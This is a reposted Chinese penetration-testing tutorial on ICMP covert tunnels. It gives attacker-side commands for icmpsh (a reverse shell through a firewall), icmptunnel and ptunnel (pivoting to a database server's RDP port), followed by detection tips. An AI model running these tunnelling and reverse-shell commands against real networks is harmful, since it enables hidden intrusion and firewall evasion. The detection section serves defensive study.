您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

内网渗透之ICMP隐藏隧道

时间:2020-06-21 10:22:41  来源:  作者:

内网渗透之ICMP隐藏隧道

内网渗透完成信息收集后,流量是否能够正常进出,是内网渗透中需要考虑的地方之一

​ ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一种面向无连接的协议。用于在IP主机、路由器之间传递控制消息。

控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。

这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

​ 参考文章:
https://baike.baidu.com/item/ICMP/572452?fr=kg_qa

​ 在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。

那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的

所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复

将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)

建立ICMP隧道

​ 用于建立ICMP隧道的工具一般用icmpsh,icmptunnel,ptunnel,icmpshell

工作原理

​ 请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload

而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求。

windowslinux 系统下的 Ping 工具默认的 Payload 长度为 64 比特,但实际上协议允许附加最大 64K 大小的 Payload。

​ 对于隧道数据,icmptunnel 首先会指定客户端和服务器端。

随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。

这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包。

icmpsh

​ 工具安装

git clone https://github.com/inquisb/icmpsh.git #下载工具

apt-get install Python-impacket #安装依赖

sysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答

icmpsh的使用场景如下:

内网渗透之ICMP隐藏隧道

 

​ 服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等)。

使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell.

攻击者IP地址:    192.168.1.76
服务器IP地址:    192.168.1.113

​ 被攻击的服务器端运行

icmpsh.exe -t 192.168.1.76(攻击者)
内网渗透之ICMP隐藏隧道

 

攻击者端运行icmpsh的控制端

python icmpsh_m.py 192.168.1.76(攻击者) 192.168.1.113(被攻击者)
内网渗透之ICMP隐藏隧道

 

​ 观察wireshare的流量变化,可以看到这里是由192.168.1.113向192.168.1.76发出request请求,这里也就印证了这里进行的是反向shell。

内网渗透之ICMP隐藏隧道

 

icmptunnel

​ icmptunnel的优势在于可以穿过状态防火墙或NAT

​ 一些设备会过滤没有匹配响应数据包的 Ping 包。

而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。

​ icmptunnel 有一个机制来专门解决这个问题。

客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。

同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。

参考
:https://www.cnblogs.com/bonelee/p/7462218.html

​ 安装icmptunnel

git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make

​ 可能会出现缺少头文件的问题,参考文章
:https://blog.csdn.net/zhutingting0428/article/details/51120949

​ 使用场景和icmpsh一样(被攻击对象为linux的情况下)

攻击者IP:192.168.1.76
被攻击者的IP:192.168.26

​ 攻击者开启icmptunnel服务端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel –s
内网渗透之ICMP隐藏隧道

 

​ 然后另开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0

​ 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

内网渗透之ICMP隐藏隧道

 

​ 被攻击者

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
 ./icmptunnel 192.168.1.76
内网渗透之ICMP隐藏隧道

 

​ 连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

​ 指定IP地址为10.0.0.2

内网渗透之ICMP隐藏隧道

 

​ 此时建立了icmp隧道,在服务器端通过ssh连接被攻击对象

 

内网渗透之ICMP隐藏隧道

 

ptunnel

​ ptunnel就是工具pingtunnel

​ 安装过程如下:

#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

​ 参考:
https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA

​ 该工具在kali中是已经集成好的

​ 现有场景如下:一个内网中,有一台Web服务器,一台数据库服务器,Web服务器可以ping通过数据库服务器,但是不能直接访问数据库服务器,已知数据库服务器此时有开启3389端口。

攻击者的IP地址:192.168.1.107(win7)
攻击者的VPS地址:192.168.1.76(kali)

web服务器的IP地址:192.168.1.26(外网)    172.168.1.16(内网)(kali)
数据库服务器的IP地址:172.168.1.18(内网)(win server 2008)

​ 在攻击者的vps(192.168.1.76)中执行如下命令

ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie
-p  跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x  为隧道写一个隧道密码,防止隧道滥用
内网渗透之ICMP隐藏隧道

 

​在Web服务器中执行命令

ptunnel -x cookie
内网渗透之ICMP隐藏隧道

 

在攻击者的机器上访问自己的vps的1080端口

内网渗透之ICMP隐藏隧道

 

​ 可以看到我们虽然连接的是192.168.1.76

但是我们通过使用web服务器作为跳板,将vps的1080端口与数据库服务器的3389端口连接在一起了。

内网渗透之ICMP隐藏隧道

 

​ 观察wireshark的流量变化情况

内网渗透之ICMP隐藏隧道

 

应对icmp隧道措施

使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析

​ 1.检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。

​ 2.注意payload大于64bit的ICMP数据包

​ 3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。

windows系统下ping默认传输的是: abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567

​ 参考
:https://www.freebuf.com/articles/network/202634.html

​ 4.检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。

作者:饼干屑小鬼

转载自:
https://xz.aliyun.com/t/7875

 



Tags:内网渗透   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
拓扑环境 Kali Linux(攻击机) Centos6.4(web服务器) win7(域成员主机无法上网) win2008R2(域控无法上网) 目的通过Kali Linux拿到域控权限2021最新整理网络安全\渗透测试/安全学习(全...【详细内容】
2021-09-17  Tags: 内网渗透  点击:(90)  评论:(0)  加入收藏
前言这又是一个关于域内基础概念与原理的系列Active Directory 的查询基础语法BaseDNBaseDN 即基础可分辨名称,其指定了这棵树的根。比如指定 BaseDN 为DC=whoamianony,DC=or...【详细内容】
2021-09-06  Tags: 内网渗透  点击:(47)  评论:(0)  加入收藏
近年来,攻击者潜伏在企业内网进行攻击的安全事件屡见不鲜,攻击者在经常会企业的内网进行横向渗透,令防守方防不胜防。因此,我们应该严格控制好网络区域之间的访问规则,加大攻...【详细内容】
2021-07-07  Tags: 内网渗透  点击:(94)  评论:(0)  加入收藏
前言前段时间读了读徐哥的《内网安全攻防》,并复现了部分知识点,写篇文章记录下学习内容。何为隐藏通信隧道技术?意义当我们成功杀入内网并完成信息收集后,下一步要进行的就是判...【详细内容】
2021-06-22  Tags: 内网渗透  点击:(97)  评论:(0)  加入收藏
最近在某地方举行攻防演练的时候进入后台管理拿到了一个 webshell,但是 tasklist /svc 查看进程 360、电脑管家赫然在列,我的小伙伴本来准备使用注入 dll 来达到上线 cs 多人...【详细内容】
2021-05-21  Tags: 内网渗透  点击:(182)  评论:(0)  加入收藏
作者:诺言 转载自:https://www.freebuf.com/articles/web/247287.html前言最近打了几场**,遇到几个内网环境都不通外网,整理下用到的几种不出网内网渗透技巧。socks隧道搭建常用...【详细内容】
2020-08-27  Tags: 内网渗透  点击:(728)  评论:(0)  加入收藏
在渗透测试中,有些工具的运行(例如高版本的Powershell)需要依赖Microsoft .NET Framework 4.0的环境。 而默认配置下,Win7不支持Microsoft .NET Framework 4.0。为了保证工具...【详细内容】
2020-07-03  Tags: 内网渗透  点击:(117)  评论:(0)  加入收藏
偶尔适度的放纵一下,是为了继续道貌岸然的生活,太急了会没有故事,太缓了会没有人生。。。。---- 网易云热评环境:小攻:Kali 2020,ip:192.168.1.133小受:win7 x86,ip:192.168.1.137一、...【详细内容】
2020-07-03  Tags: 内网渗透  点击:(84)  评论:(0)  加入收藏
内网渗透完成信息收集后,流量是否能够正常进出,是内网渗透中需要考虑的地方之一​ ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一...【详细内容】
2020-06-21  Tags: 内网渗透  点击:(214)  评论:(0)  加入收藏
在kali渗透之内网渗透中,黑客都会想方设法在目标设备中获取重要的文件或资料,其中获得密码就是一件重要的事!小白学习白帽黑客kali渗透,前往下方专栏即可! 什么是mimikatz之前课...【详细内容】
2020-06-19  Tags: 内网渗透  点击:(944)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross—Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条